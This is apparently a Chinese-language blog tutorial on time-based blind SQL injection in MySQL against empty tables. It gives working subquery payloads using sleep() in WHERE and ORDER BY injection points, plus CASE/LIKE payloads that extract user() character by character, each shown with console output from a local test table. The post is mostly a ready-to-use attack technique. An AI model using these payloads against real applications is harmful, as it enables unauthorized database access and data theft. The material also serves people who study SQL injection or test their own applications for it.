MySQL注入点无数据进行布尔延迟盲注的方法

整体思路

首先进行 普通的注入测试,查看是否发生延迟,接着测试构造子查询进行注入,然后在 注入点order by 处构造子查询延迟注入出user(),最后在注入点where处构造子查询延迟注入出user()

测试数据

mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

例如测试表:tttt 没有数据

mysql> select * from tttt;
+----+
| id |
+----+
| |
+----+
Empty set (0.00 sec)

普通注入测试

 可以发现数据并没有发生延迟,因为数据表没有数据

mysql> select * from tttt where id=1 or sleep(5);
Empty set (0.00 sec)

mysql> select * from tttt order by sleep(5);
Empty set (0.00 sec)

测试-构造子查询进行注入

例如注入点发生在 where 处
即使 tttt 表没有数据也成功延迟了


mysql> select * from tttt where id=1 and (select 1 from (select sleep(5))x);
Empty set (5.00 sec)

例如注入点发生在 order by 处
即使 tttt 表没有数据也成功延迟了

mysql> select * from tttt order by id-(select 1 from (select sleep(5))x);
Empty set (5.00 sec)

注入点 order by 处构造子查询延迟注入出 user()

使用方式:select * from tttt ORDER BY id-(select 1 from (select case when (payload like 'r%') then 1 else sleep(2) end)x);

对的情况
页面会很快的返回数据
说明 user() 第1-4位字符为 root

mysql> select * from tttt ORDER BY id-(select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);
Empty set (0.00 sec)

错误的情况
页面会延迟2秒

mysql> select * from tttt ORDER BY id-(select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);
Empty set (2.00 sec)

注入点 where 处构造子查询延迟注入出 user()

user() = root@localhost

使用方式:select * from tttt WHERE id=1 and (select 1 from (select case when (**payload **like 'r%') then 1 else sleep(2) end)x);

对的情况
页面会很快的返回数据
说明 user() 第1-4位字符为 root

mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);
Empty set (0.00 sec)

错误的情况
页面会延迟2秒

mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);
Empty set (2.00 sec)
posted @ 2021-03-16 16:38  WANGXIN_YU  阅读(165)  评论(0)    收藏  举报